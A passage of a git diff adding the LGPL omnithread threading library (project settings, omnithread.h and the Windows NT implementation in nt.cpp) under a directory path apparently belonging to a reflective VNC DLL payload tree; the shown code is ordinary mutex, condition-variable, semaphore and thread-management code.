/D _WIN32_WINNT=0x400 /YX /FD /c +# ADD BASE MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "NDEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "NDEBUG" +# ADD RSC /l 0x809 /d "NDEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 /nologo /dll /machine:I386 /out:"..\Release_CORBA/omnithread2_rt.dll" +# ADD LINK32 /nologo /dll /incremental:yes /debug /machine:I386 /out:"..\Release_CORBA_DEBUG/othread2d.dll" + +!ELSEIF "$(CFG)" == "omnithread - Win32 Profile" + +# PROP BASE Use_MFC 0 +# PROP BASE Use_Debug_Libraries 1 +# PROP BASE Output_Dir "omnithread___Win32_Profile" +# PROP BASE Intermediate_Dir "omnithread___Win32_Profile" +# PROP BASE Ignore_Export_Lib 0 +# PROP BASE Target_Dir "" +# PROP Use_MFC 0 +# PROP Use_Debug_Libraries 1 +# PROP Output_Dir "..\Profile" +# PROP Intermediate_Dir "..\Profile" +# PROP Ignore_Export_Lib 0 +# PROP Target_Dir "" +# ADD BASE CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /I "." /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c +# ADD CPP /nologo /MDd /W3 /Gm /GX /ZI /Od /I "." /D "_DEBUG" /D "__WIN32__" /D "WIN32" /D "_WINDOWS" /D "_MBCS" /D "_USRDLL" /D "OMNITHREAD_EXPORTS" /D "_OMNITHREAD_DLL" /D _WIN32_WINNT=0x400 /YX /FD /GZ /c +# ADD BASE MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD MTL /nologo /D "_DEBUG" /mktyplib203 /win32 +# ADD BASE RSC /l 0x809 /d "_DEBUG" +# ADD RSC /l 0x809 /d "_DEBUG" +BSC32=bscmake.exe +# ADD BASE BSC32 /nologo +# ADD BSC32 /nologo +LINK32=link.exe +# ADD BASE LINK32 /nologo /dll /debug /machine:I386 /out:"..\Debug/omnithread2_rtd.dll" /pdbtype:sept +# ADD LINK32 /nologo /dll /profile /debug /machine:I386 /out:"..\Profile/othread2d.dll" + +!ENDIF + +# Begin Target + +# Name "omnithread - Win32 Release" +# Name "omnithread - Win32 Debug" +# Name "omnithread - Win32 Release CORBA" +# Name "omnithread - Win32 Release CORBA DEBUG" +# Name "omnithread - Win32 Profile" +# Begin Group "Source Files" + +# PROP Default_Filter "cpp;c;cxx;rc;def;r;odl;idl;hpj;bat" +# Begin Source File + +SOURCE=.\omnithread\nt.cpp +# End Source File +# End Group +# Begin Group "Header Files" + +# PROP Default_Filter "h;hpp;hxx;hm;inl" +# Begin Source File + +SOURCE=.\omnithread\nt.h +# End Source File +# Begin Source File + +SOURCE=.\omnithread.h +# End Source File +# End Group +# Begin Group "Resource Files" + +# PROP Default_Filter "ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe" +# End Group +# End Target +# End Project diff --git a/external/source/reflective_vncdll/winvnc/omnithread/omnithread.h b/external/source/reflective_vncdll/winvnc/omnithread/omnithread.h new file mode 100644 index 0000000000..f32f8be2a8 --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/omnithread/omnithread.h @@ -0,0 +1,538 @@ +// Package : omnithread +// omnithread.h Created : 7/94 tjr +// +// Copyright (C) 1994,1995,1996, 1997 Olivetti & Oracle Research Laboratory +// +// This file is part of the omnithread library +// +// The omnithread library is free software; you can redistribute it and/or +// modify it under the terms of the GNU Library General Public +// License as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// This library is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +// Library General Public License for more details. +// +// You should have received a copy of the GNU Library General Public +// License along with this library; if not, write to the Free +// Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +// 02111-1307, USA +// + +// +// Interface to OMNI thread abstraction. +// +// This file declares classes for threads and synchronisation objects +// (mutexes, condition variables and counting semaphores). +// +// Wherever a seemingly arbitrary choice has had to be made as to the interface +// provided, the intention here has been to be as POSIX-like as possible. This +// is why there is no semaphore timed wait, for example. +// + +#ifndef __omnithread_h_ +#define __omnithread_h_ + +#ifndef NULL +#define NULL (void*)0 +#endif + +class omni_mutex; +class omni_condition; +class omni_semaphore; +class omni_thread; + +// +// OMNI_THREAD_EXPOSE can be defined as public or protected to expose the +// implementation class - this may be useful for debugging. Hopefully this +// won't change the underlying structure which the compiler generates so that +// this can work without recompiling the library. +// + +#ifndef OMNI_THREAD_EXPOSE +#define OMNI_THREAD_EXPOSE private +#endif + +// +// Include implementation-specific header file. +// +// This must define 4 CPP macros of the form OMNI_x_IMPLEMENTATION for mutex, +// condition variable, semaphore and thread. Each should define any +// implementation-specific members of the corresponding classes. +// + + +#if defined(__arm__) && defined(__atmos__) +#include + +#elif defined(__alpha__) && defined(__osf1__) +#include + +#elif defined(__powerpc__) && defined(__aix__) +#include + +#elif defined(__hpux__) +#include + +#elif defined(__WIN32__) + +#if defined(__POSIX_NT__) +#include +#else +#include +#endif + +#ifdef _MSC_VER + +// Using MSVC++ to compile. If compiling library as a DLL, +// define _OMNITHREAD_DLL. If compiling as a statuc library, define +// _WINSTATIC +// If compiling an application that is to be statically linked to omnithread, +// define _WINSTATIC (if the application is to be dynamically linked, +// there is no need to define any of these macros). + +#if defined (_OMNITHREAD_DLL) && defined(_WINSTATIC) +#error "Both _OMNITHREAD_DLL and _WINSTATIC are defined." +#elif defined(_OMNITHREAD_DLL) +#define _OMNITHREAD_NTDLL_ __declspec(dllexport) +#elif !defined(_WINSTATIC) +#define _OMNITHREAD_NTDLL_ __declspec(dllimport) +#elif defined(_WINSTATIC) +#define _OMNITHREAD_NTDLL_ +#endif + // _OMNITHREAD_DLL && _WINSTATIC + +#else + +// Not using MSVC++ to compile +#define _OMNITHREAD_NTDLL_ + +#endif + // _MSC_VER + +#elif defined(__sunos__) +#if __OSVERSION__ != 5 +// XXX Workaround for SUN C++ compiler (seen on 4.2) Template.DB code +// regeneration bug. See omniORB2/CORBA_sysdep.h for details. +#if !defined(__SUNPRO_CC) || __OSVERSION__ != '5' +#error "Only SunOS 5.x or later is supported." +#endif +#endif +#ifdef UsePthread +#include +#else +#include +#endif + +#elif defined(__linux__) +#include + +#elif defined(__nextstep__) +#include + +#elif defined(__VMS) +#include + +#elif defined(__SINIX__) +#include + +#elif defined(__osr5__) +#include + +#elif defined(__uw7__) +#include + +#elif defined(__irix__) +#include + +#elif defined(__freebsd__) +#include + +#elif defined(__rtems__) +#include +#include + +#else +#error "No implementation header file" +#endif + +#if !defined(__WIN32__) +#define _OMNITHREAD_NTDLL_ +#endif + +#if (!defined(OMNI_MUTEX_IMPLEMENTATION) || \ + !defined(OMNI_CONDITION_IMPLEMENTATION) || \ + !defined(OMNI_SEMAPHORE_IMPLEMENTATION) || \ + !defined(OMNI_THREAD_IMPLEMENTATION)) +#error "Implementation header file incomplete" +#endif + + +// +// This exception is thrown in the event of a fatal error. +// + +class _OMNITHREAD_NTDLL_ omni_thread_fatal { +public: + int error; + omni_thread_fatal(int e = 0) : error(e) {} +}; + + +// +// This exception is thrown when an operation is invoked with invalid +// arguments. +// + +class _OMNITHREAD_NTDLL_ omni_thread_invalid {}; + + +/////////////////////////////////////////////////////////////////////////// +// +// Mutex +// +/////////////////////////////////////////////////////////////////////////// + +class _OMNITHREAD_NTDLL_ omni_mutex { + +public: + omni_mutex(void); + ~omni_mutex(void); + + void lock(void); + void unlock(void); + void acquire(void) { lock(); } + void release(void) { unlock(); } + // the names lock and unlock are preferred over acquire and release + // since we are attempting to be as POSIX-like as possible. + + friend class omni_condition; + +private: + // dummy copy constructor and operator= to prevent copying + omni_mutex(const omni_mutex&); + omni_mutex& operator=(const omni_mutex&); + +OMNI_THREAD_EXPOSE: + OMNI_MUTEX_IMPLEMENTATION +}; + +// +// As an alternative to: +// { +// mutex.lock(); +// ..... +// mutex.unlock(); +// } +// +// you can use a single instance of the omni_mutex_lock class: +// +// { +// omni_mutex_lock l(mutex); +// .... +// } +// +// This has the advantage that mutex.unlock() will be called automatically +// when an exception is thrown. +// + +class _OMNITHREAD_NTDLL_ omni_mutex_lock { + omni_mutex& mutex; +public: + omni_mutex_lock(omni_mutex& m) : mutex(m) { mutex.lock(); } + ~omni_mutex_lock(void) { mutex.unlock(); } +private: + // dummy copy constructor and operator= to prevent copying + omni_mutex_lock(const omni_mutex_lock&); + omni_mutex_lock& operator=(const omni_mutex_lock&); +}; + + +/////////////////////////////////////////////////////////////////////////// +// +// Condition variable +// +/////////////////////////////////////////////////////////////////////////// + +class _OMNITHREAD_NTDLL_ omni_condition { + + omni_mutex* mutex; + +public: + omni_condition(omni_mutex* m); + // constructor must be given a pointer to an existing mutex. The + // condition variable is then linked to the mutex, so that there is an + // implicit unlock and lock around wait() and timed_wait(). + + ~omni_condition(void); + + void wait(void); + // wait for the condition variable to be signalled. The mutex is + // implicitly released before waiting and locked again after waking up. + // If wait() is called by multiple threads, a signal may wake up more + // than one thread. See POSIX threads documentation for details. + + int timedwait(unsigned long secs, unsigned long nanosecs = 0); + // timedwait() is given an absolute time to wait until. To wait for a + // relative time from now, use omni_thread::get_time. See POSIX threads + // documentation for why absolute times are better than relative. + // Returns 1 (true) if successfully signalled, 0 (false) if time + // expired. + + void signal(void); + // if one or more threads have called wait(), signal wakes up at least + // one of them, possibly more. See POSIX threads documentation for + // details. + + void broadcast(void); + // broadcast is like signal but wakes all threads which have called + // wait(). + +private: + // dummy copy constructor and operator= to prevent copying + omni_condition(const omni_condition&); + omni_condition& operator=(const omni_condition&); + +OMNI_THREAD_EXPOSE: + OMNI_CONDITION_IMPLEMENTATION +}; + + +/////////////////////////////////////////////////////////////////////////// +// +// Counting semaphore +// +/////////////////////////////////////////////////////////////////////////// + +class _OMNITHREAD_NTDLL_ omni_semaphore { + +public: + omni_semaphore(unsigned int initial = 1); + ~omni_semaphore(void); + + void wait(void); + // if semaphore value is > 0 then decrement it and carry on. If it's + // already 0 then block. + + int trywait(void); + // if semaphore value is > 0 then decrement it and return 1 (true). + // If it's already 0 then return 0 (false). + + void post(void); + // if any threads are blocked in wait(), wake one of them up. Otherwise + // increment the value of the semaphore. + +private: + // dummy copy constructor and operator= to prevent copying + omni_semaphore(const omni_semaphore&); + omni_semaphore& operator=(const omni_semaphore&); + +OMNI_THREAD_EXPOSE: + OMNI_SEMAPHORE_IMPLEMENTATION +}; + +// +// A helper class for semaphores, similar to omni_mutex_lock above. +// + +class _OMNITHREAD_NTDLL_ omni_semaphore_lock { + omni_semaphore& sem; +public: + omni_semaphore_lock(omni_semaphore& s) : sem(s) { sem.wait(); } + ~omni_semaphore_lock(void) { sem.post(); } +private: + // dummy copy constructor and operator= to prevent copying + omni_semaphore_lock(const omni_semaphore_lock&); + omni_semaphore_lock& operator=(const omni_semaphore_lock&); +}; + + +/////////////////////////////////////////////////////////////////////////// +// +// Thread +// +/////////////////////////////////////////////////////////////////////////// + +class _OMNITHREAD_NTDLL_ omni_thread { + +public: + + enum priority_t { + PRIORITY_LOW, + PRIORITY_NORMAL, + PRIORITY_HIGH + }; + + enum state_t { + STATE_NEW, // thread object exists but thread hasn't + // started yet. + STATE_RUNNING, // thread is running. + STATE_TERMINATED // thread has terminated but storage has not + // been reclaimed (i.e. waiting to be joined). + }; + + // + // Constructors set up the thread object but the thread won't start until + // start() is called. The create method can be used to construct and start + // a thread in a single call. + // + + omni_thread(void (*fn)(void*), void* arg = NULL, + priority_t pri = PRIORITY_NORMAL); + omni_thread(void* (*fn)(void*), void* arg = NULL, + priority_t pri = PRIORITY_NORMAL); + // these constructors create a thread which will run the given function + // when start() is called. The thread will be detached if given a + // function with void return type, undetached if given a function + // returning void*. If a thread is detached, storage for the thread is + // reclaimed automatically on termination. Only an undetached thread + // can be joined. + + void start(void); + // start() causes a thread created with one of the constructors to + // start executing the appropriate function. + +protected: + + omni_thread(void* arg = NULL, priority_t pri = PRIORITY_NORMAL); + // this constructor is used in a derived class. The thread will + // execute the run() or run_undetached() member functions depending on + // whether start() or start_undetached() is called respectively. + + void start_undetached(void); + // can be used with the above constructor in a derived class to cause + // the thread to be undetached. In this case the thread executes the + // run_undetached member function. + + virtual ~omni_thread(void); + // destructor cannot be called by user (except via a derived class). + // Use exit() or cancel() instead. This also means a thread object must + // be allocated with new - it cannot be statically or automatically + // allocated. The destructor of a class that inherits from omni_thread + // shouldn't be public either (otherwise the thread object can be + // destroyed while the underlying thread is still running). + +public: + + void join(void**); + // join causes the calling thread to wait for another's completion, + // putting the return value in the variable of type void* whose address + // is given (unless passed a null pointer). Only undetached threads + // may be joined. Storage for the thread will be reclaimed. + + void set_priority(priority_t); + // set the priority of the thread. + + static omni_thread* create(void (*fn)(void*), void* arg = NULL, + priority_t pri = PRIORITY_NORMAL); + static omni_thread* create(void* (*fn)(void*), void* arg = NULL, + priority_t pri = PRIORITY_NORMAL); + // create spawns a new thread executing the given function with the + // given argument at the given priority. Returns a pointer to the + // thread object. It simply constructs a new thread object then calls + // start. + + static void exit(void* return_value = NULL); + // causes the calling thread to terminate. + + static omni_thread* self(void); + // returns the calling thread's omni_thread object. + // If the calling thread is not the main thread and + // is not created using this library, returns 0. + + static void yield(void); + // allows another thread to run. + + static void sleep(unsigned long secs, unsigned long nanosecs = 0); + // sleeps for the given time. + + static void get_time(unsigned long* abs_sec, unsigned long* abs_nsec, + unsigned long rel_sec = 0, unsigned long rel_nsec=0); + // calculates an absolute time in seconds and nanoseconds, suitable for + // use in timed_waits on condition variables, which is the current time + // plus the given relative offset. + + + static void stacksize(unsigned long sz); + static unsigned long stacksize(); + // Use this value as the stack size when spawning a new thread. + // The default value (0) means that the thread library default is + // to be used. + +private: + + virtual void run(void* arg) {} + virtual void* run_undetached(void* arg) { return NULL; } + // can be overridden in a derived class. When constructed using the + // the constructor omni_thread(void*, priority_t), these functions are + // called by start() and start_undetached() respectively. + + void common_constructor(void* arg, priority_t pri, int det); + // implements the common parts of the constructors. + + omni_mutex mutex; + // used to protect any members which can change after construction, + // i.e. the following 2 members: + + state_t _state; + priority_t _priority; + + static omni_mutex* next_id_mutex; + static int next_id; + int _id; + + void (*fn_void)(void*); + void* (*fn_ret)(void*); + void* thread_arg; + int detached; + +public: + + priority_t priority(void) { + + // return this thread's priority. + + omni_mutex_lock l(mutex); + return _priority; + } + + state_t state(void) { + + // return thread state (invalid, new, running or terminated). + + omni_mutex_lock l(mutex); + return _state; + } + + int id(void) { return _id; } + // return unique thread id within the current process. + + + // This class plus the instance of it declared below allows us to execute + // some initialisation code before main() is called. + + class _OMNITHREAD_NTDLL_ init_t { + static int count; + public: + init_t(void); + }; + + friend class init_t; + +OMNI_THREAD_EXPOSE: + OMNI_THREAD_IMPLEMENTATION +}; + +#ifndef __rtems__ +static omni_thread::init_t omni_thread_init; +#else +// RTEMS calls global Ctor/Dtor in a context that is not +// a posix thread. Calls to functions to pthread_self() in +// that context returns NULL. +// So, for RTEMS we will make the thread initialization at the +// beginning of the Init task that has a posix context. +#endif + +#endif diff --git a/external/source/reflective_vncdll/winvnc/omnithread/omnithread/nt.cpp b/external/source/reflective_vncdll/winvnc/omnithread/omnithread/nt.cpp new file mode 100644 index 0000000000..ae4cede96d --- /dev/null +++ b/external/source/reflective_vncdll/winvnc/omnithread/omnithread/nt.cpp @@ -0,0 +1,880 @@ +// Package : omnithread +// omnithread/nt.cc Created : 6/95 tjr +// +// Copyright (C) 1995-1999 AT&T Laboratories Cambridge +// +// This file is part of the omnithread library +// +// The omnithread library is free software; you can redistribute it and/or +// modify it under the terms of the GNU Library General Public +// License as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// This library is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +// Library General Public License for more details. +// +// You should have received a copy of the GNU Library General Public +// License along with this library; if not, write to the Free +// Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +// 02111-1307, USA +// + +// +// Implementation of OMNI thread abstraction for NT threads +// + +#include +#include +#include +#include + +#define DB(x) // x +//#include or #include if DB is on. + +static void get_time_now(unsigned long* abs_sec, unsigned long* abs_nsec); + +/////////////////////////////////////////////////////////////////////////// +// +// Mutex +// +/////////////////////////////////////////////////////////////////////////// + + +omni_mutex::omni_mutex(void) +{ + InitializeCriticalSection(&crit); +} + +omni_mutex::~omni_mutex(void) +{ + DeleteCriticalSection(&crit); +} + +void +omni_mutex::lock(void) +{ + EnterCriticalSection(&crit); +} + +void +omni_mutex::unlock(void) +{ + LeaveCriticalSection(&crit); +} + + + +/////////////////////////////////////////////////////////////////////////// +// +// Condition variable +// +/////////////////////////////////////////////////////////////////////////// + + +// +// Condition variables are tricky to implement using NT synchronisation +// primitives, since none of them have the atomic "release mutex and wait to be +// signalled" which is central to the idea of a condition variable. To get +// around this the solution is to record which threads are waiting and +// explicitly wake up those threads. +// +// Here we implement a condition variable using a list of waiting threads +// (protected by a critical section), and a per-thread semaphore (which +// actually only needs to be a binary semaphore). +// +// To wait on the cv, a thread puts itself on the list of waiting threads for +// that cv, then releases the mutex and waits on its own personal semaphore. A +// signalling thread simply takes a thread from the head of the list and kicks +// that thread's semaphore. Broadcast is simply implemented by kicking the +// semaphore of each waiting thread. +// +// The only other tricky part comes when a thread gets a timeout from a timed +// wait on its semaphore. Between returning with a timeout from the wait and +// entering the critical section, a signalling thread could get in, kick the +// waiting thread's semaphore and remove it from the list. If this happens, +// the waiting thread's semaphore is now out of step so it needs resetting, and +// the thread should indicate that it was signalled rather than that it timed +// out. +// +// It is possible that the thread calling wait or timedwait is not a +// omni_thread. In this case we have to provide a temporary data structure, +// i.e. for the duration of the call, for the thread to link itself on the +// list of waiting threads. _internal_omni_thread_dummy provides such +// a data structure and _internal_omni_thread_helper is a helper class to +// deal with this special case for wait() and timedwait(). Once created, +// the _internal_omni_thread_dummy is cached for use by the next wait() or +// timedwait() call from a non-omni_thread. This is probably worth doing +// because creating a Semaphore is quite heavy weight. + +class _internal_omni_thread_helper; + +class _internal_omni_thread_dummy : public omni_thread { +public: + inline _internal_omni_thread_dummy() : next(0) { } + inline ~_internal_omni_thread_dummy() { } + friend class _internal_omni_thread_helper; +private: + _internal_omni_thread_dummy* next; +}; + +class _internal_omni_thread_helper { +public: + inline _internal_omni_thread_helper() { + d = 0; + t = omni_thread::self(); + if (!t) { + omni_mutex_lock sync(cachelock); + if (cache) { + d = cache; + cache = cache->next; + } + else { + d = new _internal_omni_thread_dummy; + } + t = d; + } + } + inline ~_internal_omni_thread_helper() { + if (d) { + omni_mutex_lock sync(cachelock); + d->next = cache; + cache = d; + } + } + inline operator omni_thread* () { return t; } + inline omni_thread* operator->() { return t; } + + static _internal_omni_thread_dummy* cache; + static omni_mutex cachelock; + +private: + _internal_omni_thread_dummy* d; + omni_thread* t; +}; + +_internal_omni_thread_dummy* _internal_omni_thread_helper::cache = 0; +omni_mutex _internal_omni_thread_helper::cachelock; + + +omni_condition::omni_condition(omni_mutex* m) : mutex(m) +{ + InitializeCriticalSection(&crit); + waiting_head = waiting_tail = NULL; +} + + +omni_condition::~omni_condition(void) +{ + DeleteCriticalSection(&crit); + DB( if (waiting_head != NULL) { + cerr << "omni_condition::~omni_condition: list of waiting threads " + << "is not empty\n"; + } ) +} + + +void +omni_condition::wait(void) +{ + _internal_omni_thread_helper me; + + EnterCriticalSection(&crit); + + me->cond_next = NULL; + me->cond_prev = waiting_tail; + if (waiting_head == NULL) + waiting_head = me; + else + waiting_tail->cond_next = me; + waiting_tail = me; + me->cond_waiting = TRUE; + + LeaveCriticalSection(&crit); + + mutex->unlock(); + + DWORD result = WaitForSingleObject(me->cond_semaphore, INFINITE); + + mutex->lock(); + + if (result != WAIT_OBJECT_0) + throw omni_thread_fatal(GetLastError()); +} + + +int +omni_condition::timedwait(unsigned long abs_sec, unsigned long abs_nsec) +{ + _internal_omni_thread_helper me; + + EnterCriticalSection(&crit); + + me->cond_next = NULL; + me->cond_prev = waiting_tail; + if (waiting_head == NULL) + waiting_head = me; + else + waiting_tail->cond_next = me; + waiting_tail = me; + me->cond_waiting = TRUE; + + LeaveCriticalSection(&crit); + + mutex->unlock(); + + unsigned long now_sec, now_nsec; + + get_time_now(&now_sec, &now_nsec); + + DWORD timeout; + if ((abs_sec <= now_sec) && ((abs_sec < now_sec) || (abs_nsec < now_nsec))) + timeout = 0; + else { + timeout = (abs_sec-now_sec) * 1000; + + if( abs_nsec < now_nsec ) timeout -= (now_nsec-abs_nsec) / 1000000; + else timeout += (abs_nsec-now_nsec) / 1000000; + } + + DWORD result = WaitForSingleObject(me->cond_semaphore, timeout); + + if (result == WAIT_TIMEOUT) { + EnterCriticalSection(&crit); + + if (me->cond_waiting) { + if (me->cond_prev != NULL) + me->cond_prev->cond_next = me->cond_next; + else + waiting_head = me->cond_next; + if (me->cond_next != NULL) + me->cond_next->cond_prev = me->cond_prev; + else + waiting_tail = me->cond_prev; + me->cond_waiting = FALSE; + + LeaveCriticalSection(&crit); + + mutex->lock(); + return 0; + } + + // + // We timed out but another thread still signalled us. Wait for + // the semaphore (it _must_ have been signalled) to decrement it + // again. Return that we were signalled, not that we timed out. + // + + LeaveCriticalSection(&crit); + + result = WaitForSingleObject(me->cond_semaphore, INFINITE); + } + + if (result != WAIT_OBJECT_0) + throw omni_thread_fatal(GetLastError()); + + mutex->lock(); + return 1; +} + + +void +omni_condition::signal(void) +{ + EnterCriticalSection(&crit); + + if (waiting_head != NULL) { + omni_thread* t = waiting_head; + waiting_head = t->cond_next; + if (waiting_head == NULL) + waiting_tail = NULL; + else + waiting_head->cond_prev = NULL; + t->cond_waiting = FALSE; + + if (!ReleaseSemaphore(t->cond_semaphore, 1, NULL)) { + int rc = GetLastError(); + LeaveCriticalSection(&crit); + throw omni_thread_fatal(rc); + } + } + + LeaveCriticalSection(&crit); +} + + +void +omni_condition::broadcast(void) +{ + EnterCriticalSection(&crit); + + while (waiting_head != NULL) { + omni_thread* t = waiting_head; + waiting_head = t->cond_next; + if (waiting_head == NULL) + waiting_tail = NULL; + else + waiting_head->cond_prev = NULL; + t->cond_waiting = FALSE; + + if (!ReleaseSemaphore(t->cond_semaphore, 1, NULL)) { + int rc = GetLastError(); + LeaveCriticalSection(&crit); + throw omni_thread_fatal(rc); + } + } + + LeaveCriticalSection(&crit); +} + + + +/////////////////////////////////////////////////////////////////////////// +// +// Counting semaphore +// +/////////////////////////////////////////////////////////////////////////// + + +#define SEMAPHORE_MAX 0x7fffffff + + +omni_semaphore::omni_semaphore(unsigned int initial) +{ + nt_sem = CreateSemaphore(NULL, initial, SEMAPHORE_MAX, NULL); + + if (nt_sem == NULL) { + DB( cerr << "omni_semaphore::omni_semaphore: CreateSemaphore error " + << GetLastError() << endl ); + throw omni_thread_fatal(GetLastError()); + } +} + + +omni_semaphore::~omni_semaphore(void) +{ + if (!CloseHandle(nt_sem)) { + DB( cerr << "omni_semaphore::~omni_semaphore: CloseHandle error " + << GetLastError() << endl ); + throw omni_thread_fatal(GetLastError()); + } +} + + +void +omni_semaphore::wait(void) +{ + if (WaitForSingleObject(nt_sem, INFINITE) != WAIT_OBJECT_0) + throw omni_thread_fatal(GetLastError()); +} + + +int +omni_semaphore::trywait(void) +{ + switch (WaitForSingleObject(nt_sem, 0)) { + + case WAIT_OBJECT_0: + return 1; + case WAIT_TIMEOUT: + return 0; + } + + throw omni_thread_fatal(GetLastError()); + return 0; /* keep msvc++ happy */ +} + + +void +omni_semaphore::post(void) +{ + if (!ReleaseSemaphore(nt_sem, 1, NULL)) + throw omni_thread_fatal(GetLastError()); +} + + + +/////////////////////////////////////////////////////////////////////////// +// +// Thread +// +/////////////////////////////////////////////////////////////////////////// + + +// +// Static variables +// + +int omni_thread::init_t::count = 0; + +omni_mutex* omni_thread::next_id_mutex; +int omni_thread::next_id = 0; +static DWORD self_tls_index; + +static unsigned int stack_size = 0; + +// +// Initialisation function (gets called before any user code). +// + +omni_thread::init_t::init_t(void) +{ + if (count++ != 0) // only do it once however many objects get created. + return; + + DB(cerr << "omni_thread::init: NT implementation initialising\n"); + + self_tls_index = TlsAlloc(); + + if (self_tls_index == 0xffffffff) + throw omni_thread_fatal(GetLastError()); + + next_id_mutex = new omni_mutex; + + // + // Create object for this (i.e. initial) thread. + // + + omni_thread* t = new omni_thread; + + t->_state = STATE_RUNNING; + + if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), + GetCurrentProcess(), &t->handle, + 0, FALSE, DUPLICATE_SAME_ACCESS)) + throw omni_thread_fatal(GetLastError()); + + t->nt_id = GetCurrentThreadId(); + + DB(cerr << "initial thread " << t->id() << " NT thread id " << t->nt_id + << endl); + + if (!TlsSetValue(self_tls_index, (LPVOID)t)) + throw omni_thread_fatal(GetLastError()); + + if (!SetThreadPriority(t->handle, nt_priority(PRIORITY_NORMAL))) + throw omni_thread_fatal(GetLastError()); +} + +// +// Wrapper for thread creation. +// + +extern "C" +#ifndef __BCPLUSPLUS__ +unsigned __stdcall +#else +void _USERENTRY +#endif +omni_thread_wrapper(void* ptr) +{ + omni_thread* me = (omni_thread*)ptr; + + DB(cerr << "omni_thread_wrapper: thread " << me->id() + << " started\n"); + + if (!TlsSetValue(self_tls_index, (LPVOID)me)) + throw omni_thread_fatal(GetLastError()); + + // + // Now invoke the thread function with the given argument. + // + + if (me->fn_void != NULL) { + (*me->fn_void)(me->thread_arg); + omni_thread::exit(); + } + + if (me->fn_ret != NULL) { + void* return_value = (*me->fn_ret)(me->thread_arg); + omni_thread::exit(return_value); + } + + if (me->detached) { + me->run(me->thread_arg); + omni_thread::exit(); + } else { + void* return_value = me->run_undetached(me->thread_arg); + omni_thread::exit(return_value); + } + + // should never get here. +#ifndef __BCPLUSPLUS__ + return 0; +#endif +} + + +// +// Constructors for omni_thread - set up the thread object but don't +// start it running. +// + +// construct a detached thread running a given function. + +omni_thread::omni_thread(void (*fn)(void*), void* arg, priority_t pri) +{ + common_constructor(arg, pri, 1); + fn_void = fn; + fn_ret = NULL; +} + +// construct an undetached thread running a given function. + +omni_thread::omni_thread(void* (*fn)(void*), void* arg, priority_t pri) +{ + common_constructor(arg, pri, 0); + fn_void = NULL; + fn_ret = fn; +} + +// construct a thread which will run either run() or run_undetached(). + +omni_thread::omni_thread(void* arg, priority_t pri) +{ + common_constructor(arg, pri, 1); + fn_void = NULL; + fn_ret = NULL; +} + +// common part of all constructors. + +void +omni_thread::common_constructor(void* arg, priority_t pri, int det) +{ + _state = STATE_NEW; + _priority = pri; + + next_id_mutex->lock(); + _id = next_id++; + next_id_mutex->unlock(); + + thread_arg = arg; + detached = det; // may be altered in start_undetached() + + cond_semaphore = CreateSemaphore(NULL, 0, SEMAPHORE_MAX, NULL); + + if (cond_semaphore == NULL) + throw omni_thread_fatal(GetLastError()); + + cond_next = cond_prev = NULL; + cond_waiting = FALSE; + + handle = NULL; +} + + +// +// Destructor for omni_thread. +// + +omni_thread::~omni_thread(void) +{ + DB(cerr << "destructor called for thread " << id() << endl); + if (handle && !CloseHandle(handle)) + throw omni_thread_fatal(GetLastError()); + if (cond_semaphore && !CloseHandle(cond_semaphore)) + throw omni_thread_fatal(GetLastError()); +} + + +// +// Start the thread +// + + +void +omni_thread::start(void) +{ + omni_mutex_lock l(mutex); + + if (_state != STATE_NEW) + throw omni_thread_invalid(); + +#ifndef __BCPLUSPLUS__ + // MSVC++ or compatiable + unsigned int t; + handle = (HANDLE)_beginthreadex( + NULL, + stack_size, + omni_thread_wrapper, + (LPVOID)this, + CREATE_SUSPENDED, + &t); + nt_id = t; + if (handle == NULL) + throw omni_thread_fatal(GetLastError()); +#else + // Borland C++ + handle = (HANDLE)_beginthreadNT(omni_thread_wrapper, + stack_size, + (void*)this, + NULL, + CREATE_SUSPENDED, + &nt_id); + if (handle == INVALID_HANDLE_VALUE) + throw omni_thread_fatal(errno); +#endif + + if (!SetThreadPriority(handle, nt_priority(_priority))) + throw omni_thread_fatal(GetLastError()); + + if (ResumeThread(handle) == 0xffffffff) + throw omni_thread_fatal(GetLastError()); + + _state = STATE_RUNNING; +} + + +// +// Start a thread which will run the member function run_undetached(). +// + +void +omni_thread::start_undetached(void) +{ + if ((fn_void != NULL) || (fn_ret != NULL)) + throw omni_thread_invalid(); + + detached = 0; + start(); +} + + +// +// join - simply check error conditions & call WaitForSingleObject. +// +void +omni_thread::join(void** status) +{ + mutex.lock(); + + if ((_state != STATE_RUNNING) && (_state != STATE_TERMINATED)) { + mutex.unlock(); + throw omni_thread_invalid(); + } + + mutex.unlock(); + + if (this == self()) + throw omni_thread_invalid(); + + if (detached) + throw omni_thread_invalid(); + + DB(cerr << "omni_thread::join: doing WaitForSingleObject\n"); + + if (WaitForSingleObject(handle, INFINITE) != WAIT_OBJECT_0) + throw omni_thread_fatal(GetLastError()); + + DB(cerr << "omni_thread::join: WaitForSingleObject succeeded\n"); + + if (status) + *status = return_val; + + delete this; +} + + +// +// Change this thread's priority. +// + +void +omni_thread::set_priority(priority_t pri) +{ + omni_mutex_lock l(mutex); + + if (_state != STATE_RUNNING) + throw omni_thread_invalid(); + + _priority = pri; + + if (!SetThreadPriority(handle, nt_priority(pri))) + throw omni_thread_fatal(GetLastError()); +} + + +// +// create - construct a new thread object and start it running. Returns thread +// object if successful, null pointer if not. +// + +// 